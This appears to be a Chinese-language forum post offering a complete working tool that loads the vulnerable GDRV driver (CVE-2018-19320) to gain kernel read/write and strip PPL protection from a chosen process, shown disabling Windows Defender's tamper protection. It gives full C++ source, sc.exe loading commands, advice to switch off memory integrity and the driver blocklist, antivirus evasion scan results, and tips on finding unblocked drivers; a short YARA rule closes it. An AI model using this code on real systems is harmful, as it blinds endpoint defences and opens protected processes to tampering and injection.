找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

5476

积分

0

好友

752

主题
发表于 2 小时前 | 查看: 4| 回复: 0

这项技术背后的逻辑其实很直观:我们不必耗费精力去寻找新的内核漏洞,而是直接“借用”一个合法但存在缺陷的驱动程序载入系统。一旦这个驱动进入内核,它就赋予了我们任意读写内核空间内存的能力——拿到这些任意读写的“原语”之后,我们就能动手修改操作系统内一些极为敏感的结构体了。本文的目标正是利用它们来禁用目标进程的 PPL (Protected Process Light) 保护,从而能和那些原本“生人勿近”的进程自由交互。

方法论

在正式阅读代码之前,不妨先理清宏观逻辑——就像先看菜谱再下厨一样。要借助 BYOVD 拿到任意内核读/写权限并最终绕过 PPL,得一步步来跟着这几个关键阶段走:

步骤 1:加载易受攻击的驱动程序
首先我们需要让那个漏洞驱动程序在系统中加载并运行起来。这是整条链路的基石——只有通过它暴露出来的不安全 IOCTL 接口,我们才有机会触碰到那扇通往内核内存的大门。

步骤 2:启用所需权限
驱动就位之后,马上得给我们的当前进程激活 SeDebugPrivilege 特权。这一步很重要,没有它就是寸步难行——它保证我们能毫无保留地与那些受保护的系统进程交互。

步骤 3:解析内核信息
接下来得做一点情报收集工作,拿到几个关键的内核信息:

  • 找到 ntoskrnl.exe 的基地址。
  • 确定那些重要的结构体偏移量(通常大家都会针对不同目标操作系统版本把偏移硬编码好)。

这一步不容有失,因为想要安稳地进行内核级读写,我们必须把自己的指针精准地指向正确的位置。

步骤 4:定位目标进程(EPROCESS)
知道了内核基址和相关偏移之后,下一步就是顺藤摸瓜找到目标进程的 EPROCESS 结构。这个结构体至关重要,因为 PPL 保护正是通过里面若干字段强制生效的。

步骤 5:修改保护字段(禁用 PPL)
现在我们手握对目标进程的任意内核读写大权,就能直接改写那些保护相关的字段。一旦这些值被篡改,PPL 保护机制也就实质上被“致盲”了,我们长驱直入再无障碍。

最终状态
到这一步,目标进程的 PPL 枷锁彻底被砸开。我们可以对它随心所欲地操作——不管是打开进程句柄、读写虚拟内存,还是注入一段代码都不在话下。

Userland Process
        │
        ▼
Load Vulnerable Driver (BYOVD)
        │
        ▼
Gain Kernel R/W
        │
        ▼
Locate ntoskrnl + EPROCESS
        │
        ▼
Modify Protection Fields
        │
        ▼
PPL Disabled

执行

下面我们就来把上面的逻辑转成能跑通的 C++ 代码,我把最重要的几个节点拆开来逐一说明。

加载易受攻击的驱动程序

这一次,我们继续用和之前文章里一样的那个有漏洞的驱动,也就是 GDRV,它在编号为 CVE-2018-19320 的漏洞里被利用过。

你可以直接从这个链接获取驱动文件:
https://www.loldrivers.io/drivers/2bea1bca-753c-4f09-bc9f-566ab0193f4a/

要加载这个驱动,得事先把 Windows 的内存完整性保护和微软那个“易受攻击的驱动程序黑名单”功能暂时关上——这两者都是内核隔离安全那套体系下的防御手段(或者,你也可以干脆换一个还没被拉进黑名单的驱动来用)。

至于驱动加载,你当然可以写一行 C++ 代码搞定,但如果只是临时测试一下,不如直接用管理员身份跑下面这条 CMD 命令来得爽快:

sc.exe create gdrv.sys binPath=C:\windows\temp\gdrv.sys type =kernel && sc.exe start gdrv.sys

启用所需权限

获取 SeDebugPrivilege 这块的代码相当经典,没什么花活。需要注意的是,程序本身就需要管理员权限才能跑起来:

BOOL EnableSeDebugPrivilege(){
    HANDLE hToken;
    TOKEN_PRIVILEGES tp;
    LUID luid;
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
    {
        std::cerr << "OpenProcessToken failed: " << GetLastError() << std::endl;
        return FALSE;
    }
    if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
    {
        std::cerr << "LookupPrivilegeValue failed: " << GetLastError() << std::endl;
        CloseHandle(hToken);
        return FALSE;
    }
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL))
    {
        std::cerr << "AdjustTokenPrivileges failed: " << GetLastError() << std::endl;
        CloseHandle(hToken);
        return FALSE;
    }
    CloseHandle(hToken);
    return TRUE;
}

解析内核信息

接下来有两块不同的信息需要被解析出来:

  1. 内核关键偏移量
  2. ntoskrnl.exe 基地址

先看内核偏移量这一块:

在我们的项目里,直接把它硬编码是个偷懒但有效的办法。如果要做成真正的工具,要不就像符号服务器那样从网络拉取,要不干脆把各主流 Windows 版本的偏移都固化在代码里。

我这次用的硬编码偏移如下:

struct offsets {
    ULONG64 ActiveProcessLinks;
    ULONG64 UniqueProcessId;
    ULONG64 Protection;
    ULONG64 PsLoadedModuleList;
    ULONG64 PsInitialSystemProcess;
} g_offsets = {
    0x1d8, // ActiveProcessLinks (Inspect the dt nt!_EPROCESS)
    0x1d0, // UniqueProcessId (Inspect the dt nt!_EPROCESS)
    0x5fa, // Protection (Inspect the dt nt!_EPROCESS)
    0xEF50C0, // PsLoadedModuleList (ntoskrnl.exe base address - PsLoadedModuleList = ? nt!PsLoadedModuleList - nt)
    0xFC5ab0  // PsInitialSystemProcess (ntoskrnl.exe base address - PsInitialSystemProcess = ? nt!PsInitialSystemProcess - nt)
};

关于如何从 EPROCESS 里提取更多偏移,在之前的相关文章里已经有详细说明了。

接下来,弄到 ntoskrnl.exe 的基地址:
其实要做的事很简单:把所有已加载的驱动全列出来,然后一个循环去搜它。下面这个 GetSortedKernelDrivers 函数会通过 NtQuerySystemInformation 拉出系统列表,把每个驱动的基址、大小和名字都扒干净塞进一个向量里,最后按基地址排好序——这对我们后面定位 ntoskrnl.exe 模块很有帮助。

列出 Drivers:

std::vector<KernelDriver> GetSortedKernelDrivers() {
    std::vector<KernelDriver> driverList;

    auto NtQuerySystemInformation = (pNtQuerySystemInformation)GetProcAddress(
        GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation");

    if (!NtQuerySystemInformation) return driverList;

    ULONG len = 0;
    const int SystemModuleInformation = 11;

    NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, NULL, 0, &len);

    std::vector<BYTE> buffer(len);
    NTSTATUS status = NtQuerySystemInformation(
        (SYSTEM_INFORMATION_CLASS)SystemModuleInformation,
        buffer.data(),
        len,
        &len
    );

    if (status != 0) return driverList; // STATUS_SUCCESS = 0

    auto mods = reinterpret_cast<PSYSTEM_MODULE_INFORMATION>(buffer.data());

    for (ULONG i = 0; i < mods->Count; i++) {
        SYSTEM_MODULE_ENTRY& entry = mods->Modules[i];

        KernelDriver drv;
        drv.BaseAddress = reinterpret_cast<uintptr_t>(entry.ImageBase);
        drv.Size = entry.ImageSize;

        const char* nameStart = reinterpret_cast<const char*>(entry.FullPathName) + entry.OffsetToFileName;
        drv.Name = std::string(nameStart);

        driverList.push_back(drv);
    }

    std::sort(driverList.begin(), driverList.end(), [](const KernelDriver& a, const KernelDriver& b) {
        return a.BaseAddress < b.BaseAddress;
    });

    return driverList;
}

上面那份驱动程序清单接着会被传进下面这个函数里,它遍历列表查找 ntoskrnl.exe (或 ntkrnl),一旦命中就把它的基地址返回给我们:

DWORD64 GetNtoskrnlBase(const std::vector<KernelDriver>& drivers) {
    if (drivers.empty()) {
        return 0;
    }

    for (const auto& drv : drivers) {
        std::string nameLower = drv.Name;
        std::transform(nameLower.begin(), nameLower.end(), nameLower.begin(), ::tolower);

        if (nameLower.find("ntoskrnl.exe") != std::string::npos ||
            nameLower.find("ntkrnl") != std::string::npos) {
            return (DWORD64)drv.BaseAddress;
        }
    }

    return 0;
}

定位目标进程 (EPROCESS)

现在调用我们写好的 getEPROCESS 函数,把漏洞驱动的句柄、ntoskrnl.exe 的基地址,还有要干掉 PPL 的那个目标进程的 PID 都传过去。

DWORD64 eprocess = getEPROCESS(drv, ntoskrnlBase, pid);

这个函数内部逻辑其实也很清晰:

  1. 通过 PsInitialSystemProcess 这个地址找到系统进程 (PID 4) 对应的那个 EPROCESS 结构。
  2. ActiveProcessLinks 字段接入那个把所有进程串起来的双向链表。
  3. 沿着 Flink (前向链接) 指路,一个节点一个节点地遍历,去看下一个 EPROCESS
  4. 一直这么循环下去,直到找到跟我们手上 PID 对上的那个目标,任务才算是了了。

这个函数之所以能跑通,就是因为 Windows 内核里所有的 EPROCESS 结构都靠着一个双向链表连在了一起。选择从系统进程 (PID 4) 起步是个稳妥的选择,因为它的入口点总能通过 PsInitialSystemProcess 这个变量拿到,然后就可以一直顺着 Flink 指针往下一个进程身上跳了。

DWORD64 getEPROCESS(HANDLE drv, DWORD64 ntoskrnlBase, DWORD pid)
{
    if (ntoskrnlBase == 0)
    {
        std::cerr << "Failed to find ntoskrnl.exe base address." << std::endl;
        return 0;
    }

    DWORD64 initialSystemProcess = ntoskrnlBase + g_offsets.PsInitialSystemProcess;  // Get EPROCESS of the System process (PID 4)
    cout << "PsInitialSystemProcess address " << initialSystemProcess << endl;

    getchar();
    // Open Driver

    getchar();
    // Read Primitive to get EPROCESS structure from System Process
    DWORD64 systemEPROCESS = 0;
    BOOL readResult = ReadPrimitive(drv, &systemEPROCESS, (LPVOID)(uintptr_t)initialSystemProcess, sizeof(DWORD64));
    cout << "System EPROCESS: " << systemEPROCESS << endl;

    // Make sure that the EPROCESS is not from the PID 4 (System)
    DWORD systemPid = 0;
    BOOL readPIDSystemResult = ReadPrimitive(drv, &systemPid, (LPVOID)(uintptr_t)(systemEPROCESS + g_offsets.UniqueProcessId), sizeof(DWORD));
    cout << "System PID: " << systemPid << endl;
    if (systemPid == pid) {
        return systemEPROCESS; // If the target process is SYSTEM (PID 4) we already have it
    }

    // Walk through the whole list
    DWORD64 headList = systemEPROCESS + g_offsets.ActiveProcessLinks;
    cout << "headList address :" << headList << endl;

    // Get first process
    DWORD64 firstProcess = 0;
    BOOL readFirstResult = ReadPrimitive(drv, &firstProcess, (LPVOID)(uintptr_t)headList, sizeof(DWORD64));
    if (!readFirstResult) {
        cout << "Failed getting first process" << endl;
    }
    cout << "First Flink: " << firstProcess << endl;

    DWORD64 currentProcess = firstProcess;
    int counter = 0;
    getchar();
    cout << "Starting while " << endl;
    while (currentProcess != headList && counter < 5000) {
        counter++;

        DWORD64 eprocess = currentProcess - g_offsets.ActiveProcessLinks;
        cout << "Checking EPROCESS " << eprocess << endl;

        // Read PID
        DWORD currentPid = 0;
        BOOL readPIDResult = ReadPrimitive(drv, ¤tPid, (LPVOID)(uintptr_t)(eprocess + g_offsets.UniqueProcessId), sizeof(DWORD));
        if (!readPIDResult) {
            cout << "Error getting current PID " << endl;
        }
        cout << "Current PID " << currentPid << endl;

        if (currentPid == pid) {
            cout << "Correct EPROCESS Found " << endl;
            return eprocess;
        }

        // Read next one
        DWORD64 nextProcess = 0;
        BOOL readNextResult = ReadPrimitive(drv, &nextProcess, (LPVOID)(uintptr_t)currentProcess, sizeof(DWORD64));
        if (!readNextResult) {
            cout << "Error getting next result " << endl;
        }

        currentProcess = nextProcess;
    }

    cout << "PID Not found after checking all processes " << endl;
    return 0;
}

修改保护 (禁用 PPL)

拿到了目标进程的 EPROCESS 结构地址之后,剩下的工作就是用一开始算好的偏移量去改写保护相关的参数。在我们的函数里,会连续调用内核写原语,直接把 SignatureLevelSectionSignatureLevelProtection 这几个字段全部清零。这样一来,PPL 限制就被连根拔起,这个进程再也没那么“矜贵”了 ;)

BOOL disablePPL(HANDLE drv, DWORD64 eprocess) {
    // Offsets relative to the Protection field in EPROCESS
    // SignatureLevel        = Protection - 2
    // SectionSignatureLevel = Protection - 1
    // Protection            = Protection

    DWORD64 ppl = eprocess + g_offsets.Protection;
    BYTE zero = 0;

    DWORD value = 0;
    BOOL firstWritePPL = WritePrimitive(drv, (LPVOID)(ppl - 2), &zero, sizeof(BYTE));
    if (!firstWritePPL) {
        cout << "First error writing the PPL " << endl;
        return false;
    }

    getchar();

    BOOL secondWritePPL = WritePrimitive(drv, (LPVOID)(ppl - 1), &zero, sizeof(BYTE));
    if (!secondWritePPL) {
        cout << "Second error writing the PPL " << endl;
        return false;
    }

    getchar();

    // Write Protection
    BOOL writePPL = WritePrimitive(drv, (LPVOID)ppl, &zero, sizeof(BYTE));
    if (!writePPL) {
        cout << "Error writing the PPL " << endl;
        return false;
    }
    cout << "Successfully removed PPL" << endl;
    return true;
}

完整代码

下面是项目整合起来的两个代码文件。

main.cpp

#include <Windows.h>
#include <winternl.h>
#include <vector>
#include <string>
#include <algorithm>
#include <iostream>
#include "DriverOps.h"

using namespace std;

typedef struct _SYSTEM_MODULE_ENTRY {
    HANDLE Section;
    PVOID MappedBase;
    PVOID ImageBase;
    ULONG ImageSize;
    ULONG Flags;
    USHORT LoadOrderIndex;
    USHORT InitOrderIndex;
    USHORT LoadCount;
    USHORT OffsetToFileName;
    UCHAR FullPathName[256];
} SYSTEM_MODULE_ENTRY, * PSYSTEM_MODULE_ENTRY;

typedef struct _SYSTEM_MODULE_INFORMATION {
    ULONG Count;
    SYSTEM_MODULE_ENTRY Modules[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;

struct KernelDriver {
    std::string Name;
    uintptr_t BaseAddress;
    uint32_t Size;
};

typedef NTSTATUS(NTAPI* pNtQuerySystemInformation)(
    SYSTEM_INFORMATION_CLASS SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength
);

// 1- Enable SeDebugPrivilege for the current process
// 2- Get offsets (hardcoded)
// 3- List all drivers
// 4- Get ntoskrnl.exe address
// 5- Get EPROCESS of the target process
// 6- Disable PPL

struct offsets {
    ULONG64 ActiveProcessLinks;
    ULONG64 UniqueProcessId;
    ULONG64 Protection;
    ULONG64 PsLoadedModuleList;
    ULONG64 PsInitialSystemProcess;
} g_offsets = {
    0x1d8, // ActiveProcessLinks
    0x1d0, // UniqueProcessId
    0x5fa, // Protection
    0xEF50C0, // PsLoadedModuleList (ntoskrnl.exe base address - PsLoadedModuleList = ? nt!PsLoadedModuleList - nt)
    0xFC5ab0  // PsInitialSystemProcess (ntoskrnl.exe base address - PsInitialSystemProcess = ? nt!PsInitialSystemProcess - nt)
};

std::vector<KernelDriver> GetSortedKernelDrivers() {
    std::vector<KernelDriver> driverList;

    auto NtQuerySystemInformation = (pNtQuerySystemInformation)GetProcAddress(
        GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation");

    if (!NtQuerySystemInformation) return driverList;

    ULONG len = 0;
    const int SystemModuleInformation = 11;

    NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, NULL, 0, &len);

    std::vector<BYTE> buffer(len);
    NTSTATUS status = NtQuerySystemInformation(
        (SYSTEM_INFORMATION_CLASS)SystemModuleInformation,
        buffer.data(),
        len,
        &len
    );

    if (status != 0) return driverList; // STATUS_SUCCESS = 0

    auto mods = reinterpret_cast<PSYSTEM_MODULE_INFORMATION>(buffer.data());

    for (ULONG i = 0; i < mods->Count; i++) {
        SYSTEM_MODULE_ENTRY& entry = mods->Modules[i];

        KernelDriver drv;
        drv.BaseAddress = reinterpret_cast<uintptr_t>(entry.ImageBase);
        drv.Size = entry.ImageSize;

        const char* nameStart = reinterpret_cast<const char*>(entry.FullPathName) + entry.OffsetToFileName;
        drv.Name = std::string(nameStart);

        driverList.push_back(drv);
    }

    std::sort(driverList.begin(), driverList.end(), [](const KernelDriver& a, const KernelDriver& b) {
        return a.BaseAddress < b.BaseAddress;
    });

    return driverList;
}

DWORD64 GetNtoskrnlBase(const std::vector<KernelDriver>& drivers) {
    if (drivers.empty()) {
        return 0;
    }

    for (const auto& drv : drivers) {
        std::string nameLower = drv.Name;
        std::transform(nameLower.begin(), nameLower.end(), nameLower.begin(), ::tolower);

        if (nameLower.find("ntoskrnl.exe") != std::string::npos ||
            nameLower.find("ntkrnl") != std::string::npos) {
            return (DWORD64)drv.BaseAddress;
        }
    }

    return 0;
}

DWORD64 getEPROCESS(HANDLE drv, DWORD64 ntoskrnlBase, DWORD pid)
{
    if (ntoskrnlBase == 0)
    {
        std::cerr << "Failed to find ntoskrnl.exe base address." << std::endl;
        return 0;
    }

    DWORD64 initialSystemProcess = ntoskrnlBase + g_offsets.PsInitialSystemProcess;  // Get EPROCESS of the System process (PID 4)
    cout << "PsInitialSystemProcess address " << initialSystemProcess << endl;

    getchar();
    // Open Driver

    getchar();
    // Read Primitive to get EPROCESS structure from System Process
    DWORD64 systemEPROCESS = 0;
    BOOL readResult = ReadPrimitive(drv, &systemEPROCESS, (LPVOID)(uintptr_t)initialSystemProcess, sizeof(DWORD64));
    cout << "System EPROCESS: " << systemEPROCESS << endl;

    // Make sure that the EPROCESS is not from the PID 4 (System)
    DWORD systemPid = 0;
    BOOL readPIDSystemResult = ReadPrimitive(drv, &systemPid, (LPVOID)(uintptr_t)(systemEPROCESS + g_offsets.UniqueProcessId), sizeof(DWORD));
    cout << "System PID: " << systemPid << endl;
    if (systemPid == pid) {
        return systemEPROCESS; // If the target process is SYSTEM (PID 4) we already have it
    }

    // Walk through the whole list
    DWORD64 headList = systemEPROCESS + g_offsets.ActiveProcessLinks;
    cout << "headList address :" << headList << endl;

    // Get first process
    DWORD64 firstProcess = 0;
    BOOL readFirstResult = ReadPrimitive(drv, &firstProcess, (LPVOID)(uintptr_t)headList, sizeof(DWORD64));
    if (!readFirstResult) {
        cout << "Failed getting first process" << endl;
    }
    cout << "First Flink: " << firstProcess << endl;

    DWORD64 currentProcess = firstProcess;
    int counter = 0;
    getchar();
    cout << "Starting while " << endl;
    while (currentProcess != headList && counter < 5000) {
        counter++;

        DWORD64 eprocess = currentProcess - g_offsets.ActiveProcessLinks;
        cout << "Checking EPROCESS " << eprocess << endl;

        // Read PID
        DWORD currentPid = 0;
        BOOL readPIDResult = ReadPrimitive(drv, ¤tPid, (LPVOID)(uintptr_t)(eprocess + g_offsets.UniqueProcessId), sizeof(DWORD));
        if (!readPIDResult) {
            cout << "Error getting current PID " << endl;
        }
        cout << "Current PID " << currentPid << endl;

        if (currentPid == pid) {
            cout << "Correct EPROCESS Found " << endl;
            return eprocess;
        }

        // Read next one
        DWORD64 nextProcess = 0;
        BOOL readNextResult = ReadPrimitive(drv, &nextProcess, (LPVOID)(uintptr_t)currentProcess, sizeof(DWORD64));
        if (!readNextResult) {
            cout << "Error getting next result " << endl;
        }

        currentProcess = nextProcess;
    }

    cout << "PID Not found after checking all processes " << endl;
    return 0;
}

BOOL disablePPL(HANDLE drv, DWORD64 eprocess) {
    // Offsets relative to the Protection field in EPROCESS
    // SignatureLevel        = Protection - 2
    // SectionSignatureLevel = Protection - 1
    // Protection            = Protection

    DWORD64 ppl = eprocess + g_offsets.Protection;
    BYTE zero = 0;

    DWORD value = 0;
    BOOL firstWritePPL = WritePrimitive(drv, (LPVOID)(ppl - 2), &zero, sizeof(BYTE));
    if (!firstWritePPL) {
        cout << "First error writing the PPL " << endl;
        return false;
    }

    getchar();

    BOOL secondWritePPL = WritePrimitive(drv, (LPVOID)(ppl - 1), &zero, sizeof(BYTE));
    if (!secondWritePPL) {
        cout << "Second error writing the PPL " << endl;
        return false;
    }

    getchar();

    // Write Protection
    BOOL writePPL = WritePrimitive(drv, (LPVOID)ppl, &zero, sizeof(BYTE));
    if (!writePPL) {
        cout << "Error writing the PPL " << endl;
        return false;
    }
    cout << "Successfully removed PPL" << endl;
    return true;
}

BOOL EnableSeDebugPrivilege()
{
    HANDLE hToken;
    TOKEN_PRIVILEGES tp;
    LUID luid;
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
    {
        std::cerr << "OpenProcessToken failed: " << GetLastError() << std::endl;
        return FALSE;
    }
    if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
    {
        std::cerr << "LookupPrivilegeValue failed: " << GetLastError() << std::endl;
        CloseHandle(hToken);
        return FALSE;
    }
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL))
    {
        std::cerr << "AdjustTokenPrivileges failed: " << GetLastError() << std::endl;
        CloseHandle(hToken);
        return FALSE;
    }
    CloseHandle(hToken);
    return TRUE;
}

int main(int argc, char* argv[])
{
    DWORD pid = 0;
    if(argc > 1)
    {
        pid = atoi(argv[1]);
    }
    else
    {
        std::cout << "Usage: PPLDisableFromRWKernel.exe <PID>" << std::endl;
        return 1;
    }

    // 1. Enable SeDebugPrivilege for the current process
    BOOL setPriv = EnableSeDebugPrivilege();

    // 2. Get offsets (hardcoded)

    // 3. List all drivers
    vector<KernelDriver> drivers = GetSortedKernelDrivers();

    // 4. Get ntoskrnl.exe address
    DWORD64 ntoskrnlBase = GetNtoskrnlBase(drivers);
    cout << "NTOSKRNL Base address " << ntoskrnlBase << endl;
    getchar();

    HANDLE drv = openVulnDriver();

    // 5. Get EPROCESS of the target process
    DWORD64 eprocess = getEPROCESS(drv, ntoskrnlBase, pid);
    cout << "EPROCESS " << eprocess << endl;
    getchar();

    if (eprocess) {
        // 6- Disable PPL
        BOOL finalDisable = disablePPL(drv, eprocess);
        if (finalDisable) {
            cout << "[!] PPL Protection removed !" << endl;
            return 0;
        }
    }
    return 0;
}

DriverOps.h (来自上一篇文章)

#include <iostream>
#include <Windows.h>

// https://www.loldrivers.io/drivers/2bea1bca-753c-4f09-bc9f-566ab0193f4a/

#define IOCTL_READWRITE_PRIMITIVE 0xC3502808

using namespace std;

typedef struct KernelWritePrimitive {
    LPVOID dst;
    LPVOID src;
    DWORD size;
} KernelWritePrimitive;

typedef struct KernelReadPrimitive {
    LPVOID dst;
    LPVOID src;
    DWORD size;
} KernelReadPrimitive;

BOOL WritePrimitive(HANDLE driver, LPVOID dst, LPVOID src, DWORD size) {
    KernelWritePrimitive kwp;
    kwp.dst = dst;
    kwp.src = src;
    kwp.size = size;

    BYTE bufferReturned[48] = { 0 };
    DWORD returned = 0;
    BOOL result = DeviceIoControl(driver, IOCTL_READWRITE_PRIMITIVE, (LPVOID)&kwp, sizeof(kwp), (LPVOID)bufferReturned, sizeof(bufferReturned), &returned, nullptr);
    if (!result) {
        cout << "Failed to send write primitive. Error code: " << GetLastError() << endl;
        return FALSE;
    }
    cout << "Write primitive sent successfully. Bytes returned: " << returned << endl;
    return TRUE;
}

BOOL ReadPrimitive(HANDLE driver, LPVOID dst, LPVOID src, DWORD size) {
    KernelReadPrimitive krp;
    krp.dst = dst;
    krp.src = src;
    krp.size = size;

    DWORD returned = 0;

    BOOL result = DeviceIoControl(driver, IOCTL_READWRITE_PRIMITIVE, (LPVOID)&krp, sizeof(krp), (LPVOID)dst, size, &returned, nullptr);
    if (!result) {
        cout << "Failed to send read primitive. Error code: " << GetLastError() << endl;
        return FALSE;
    }
    cout << "Read primitive sent successfully. Bytes returned: " << returned << endl;
    return TRUE;
}

HANDLE openVulnDriver() {
    HANDLE driver = CreateFileA("\\\\.\\GIO", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
    if (!driver || driver == INVALID_HANDLE_VALUE)
    {
        cout << "Failed to open handle to driver. Error code: " << GetLastError() << endl;
        return NULL;
    }
    return driver;
}

概念验证

我们在 Windows 11 上实际跑了一下。首先确保驱动服务已经启动起来:

sc start gdrv

接着,只要以管理员身份打开 CMD 或 PowerShell 执行上面那个程序,就能看到输出结果:

Checking EPROCESS 18446614925235277952
Read primitive sent successfully. Bytes returned: 0
Current PID 3412
Read primitive sent successfully. Bytes returned: 0
Checking EPROCESS 18446614925235253376
Read primitive sent successfully. Bytes returned: 0
Current PID 3432
Correct EPROCESS Found
EPROCESS 18446614925235253376

Disable PPL

Write primitive sent successfully. Bytes returned: 0

Write primitive sent successfully. Bytes returned: 0

Write primitive sent successfully. Bytes returned: 0
Successfully removed PPL
[!] PPL Protection removed !

从属性窗口看, Windows Defender 的防篡改保护图标已然消失:

命令行调试日志与目标进程属性窗口截图,显示成功定位EPROCESS并移除PPL保护的过程

检测对抗

代码跑通还不算完,得看看各大杀软对这个 .exe 的检测率如何。有一个关键前提——如果选用的漏洞驱动本身已经被各家引擎标记为恶意,那方案就太脆弱了。下面是我们这套工具在 Kleenscan 上的免杀成绩,可以看到除微软外基本全绿:

Alyac: Undetected
Amiti: Undetected
Arcabit: Undetected
Avast: Undetected
AVG: Undetected
Avira: Undetected
Bullguard: Undetected
ClamAV: Undetected
Comodo Linux: Undetected
Crowdstrike Falcon: Undetected
DrWeb: Undetected
Emsisoft: Pending
eScan: Undetected
F-Prot: Undetected
F-Secure: Undetected
G Data: Undetected
IKARUS: Undetected
Immunet: Undetected
Kaspersky: Scan failed
Max Secure: Undetected
McAfee: Undetected
Microsoft Defender: Trojan:Win32/Sabsik.RD.A!ml
NANO: Undetected
NOD32: Undetected
Norman: Undetected
SecureAge APEX: Unknown
Seqrite: Undetected
Sophos: Undetected
Threatdown: Undetected
TrendMicro: Undetected
Vba32: Undetected
VirusFighter: Undetected
Xvirus: Undetected
Zillya: Undetected
Zonealarm: Undetected
Zoner: Undetected

在 LitterBox 的静态扫描中也顺利通过,结果明确标注为 "Clean"。

静态分析结果显示整体状态为Clean,YARA与CheckPlz均未检测出威胁

ThreatCheck 的快速扫描结果也是一句干脆的 "No threat found!":

ThreatCheck.exe -f Z:\PPLDisableFromRWKernel.exe
[+] No threat found!
  • Run time: 0.81s
  • 要注意的是,虽然工具自身逃过了大多数引擎的查杀,但那个带漏洞的驱动文件本身却很容易被 Windows Defender 这类的防护软件识别并隔离。所以,实际应用时一般会挖掘一个尚未进入黑名单的驱动做替换。

    在 Kaspersky Free AV 的静态分析中,同样显示“未检测到任何威胁”。

    Instant File Analysis
    
        Status: Completed less than a minute ago
    
        Duration: 0 seconds
    
        Objects scanned: 2
    
        No threats have been detected

    Bitdefender Free AV 的扫描结果很直接:系统干干净净。

    Bitdefender扫描窗口显示系统为干净状态,未发现任何威胁

    最后,针对这类 BYOVD 和 PPL 篡改技术的通用行为,我们也可以写一条 YARA 规则来检测这种工具的特征:

    rule BYOVD_KernelRW_PPL_Bypass_Generic
    {
        meta:
            author = "0x12 Dark Development"
            description = "Detects potential BYOVD usage with kernel R/W primitives targeting PPL bypass"
            date = "2026-03-18"
            reference = "Generic detection for vulnerable driver abuse and PPL tampering"
    
        strings:
            // Native API usage for driver/module enumeration
            $ntquery = "NtQuerySystemInformation" ascii wide
            $sysinfo_class = "SystemModuleInformation" ascii wide
    
            // Kernel / driver related indicators
            $ntdll = "ntdll.dll" ascii wide
            $device = "\\\\.\\ " ascii wide nocase
            $ioctl = "DeviceIoControl" ascii wide
    
            // Common kernel structures / targets
            $eprocess = "EPROCESS" ascii wide nocase
            $protection = "Protection" ascii wide nocase
            $siglevel = "SignatureLevel" ascii wide nocase
    
            // Privilege escalation / debugging
            $sedebug = "SeDebugPrivilege" ascii wide
    
            // Typical kernel primitives naming (generic, not exact)
            $read = "ReadPrimitive" ascii wide nocase
            $write = "WritePrimitive" ascii wide nocase
    
            // Kernel base / ntoskrnl hunting
            $ntos = "ntoskrnl.exe" ascii wide nocase
            $psinit = "PsInitialSystemProcess" ascii wide
            $psloaded = "PsLoadedModuleList" ascii wide
    
        condition:
            // Require a combination of behaviors, not just one indicator
            (
                $ntquery and $sysinfo_class and
                2 of ($ntos, $psinit, $psloaded)
            )
            and
            (
                $ioctl or $device
            )
            and
            (
                2 of ($eprocess, $protection, $siglevel)
            )
            and
            (
                $write or $read
            )
    }

    总结

    这篇文章完整展现了一条利用 BYOVD 获取内核任意读写原语、从而规避 PPL 攻防的渗透路径——核心正是直接篡改目标进程的 EPROCESS 结构。借助易受攻击的驱动,我们像剥洋葱一样通过 PsInitialSystemProcessActiveProcessLinks 精确定位到目标进程的 EPROCESS,然后把 SignatureLevelSectionSignatureLevel 以及 Protection 这几个关键保护字段全都抹零。这样一来,PPL 的防御墙也就彻底崩塌了。

    就像我们在检测对抗那部分看到的一样,这套渗透手法本身对绝大多数反病毒引擎都有着不错的隐身效果。不过那把关键的“钥匙”——漏洞驱动——就是另外一回事了。真正实战中,能不能找到一个还没被拉进黑名单、但仍然存在可被利用缺陷的驱动,往往决定了整个操作的成败。想要更系统地钻研这类内核攻防对抗背后的技术细节,不妨在云栈社区里翻翻更多人分享的底层安全案例。




    上一篇:OpenDuck开源:自建DuckDB混合执行服务
    下一篇:x64汇编指令替换绕过杀软检测:Beatrice.py免杀实战
    您需要登录后才可以回帖 登录 | 立即注册

    手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

    GMT+8, 2026-5-8 04:38 , Processed in 0.973126 second(s), 42 queries , Gzip On.

    Powered by Discuz! X3.5

    © 2025-2026 云栈社区.

    快速回复 返回顶部 返回列表